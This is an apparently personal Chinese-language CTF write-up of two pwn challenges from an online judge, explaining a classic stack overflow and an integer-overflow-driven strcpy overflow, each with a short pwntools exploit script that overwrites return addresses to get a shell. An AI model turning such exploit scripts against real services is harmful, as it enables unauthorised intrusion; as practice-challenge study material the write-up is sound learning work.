写在开头
这一篇博客是我对我在这个OJ上做出的题所写的Writeup,现在是收录的一般是比较简单的。
(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)
jarvisoj_level0题
程序没有很强的保护
典型的栈溢出
函数的末尾也没有奇怪的操作
基本操作即可
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)
payload = 'A' * 0x80 + p64(0) + p64(0x400596)
p.sendline(payload)
p.interactive()
总结
经典的最基本的利用栈溢出的题
r2t3题
也没有很强的保护
main
函数里有个read
函数,但是并没有栈溢出:
这里的strcpy
函数是可以溢出的,乍一看只允许4~7个字节的数据,但是仔细看会发现strlen
函数返回值赋给的v3
是无符号的单字节变量,所以这里存在整数溢出。
由无符号一字节储存数字的特点可知当输入260字节数据的时候正好变量v3
为4。
所以这里就很容易了:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)
payload = 'A' * 0x11 + 'A' * 4 + p32(0x8048430) + p32(0x8048760) * 2
payload = payload.ljust(260, 'A')
p.sendlineafter('name:', payload)
p.interactive()
总结
一开始我看这个题的时候没注意到整数溢出这点,以为要从strlen
函数的源码入手(实际上貌似不大可能有漏洞),耽误了不少时间,现在学了很多,这些之前的知识还是有点生疏了。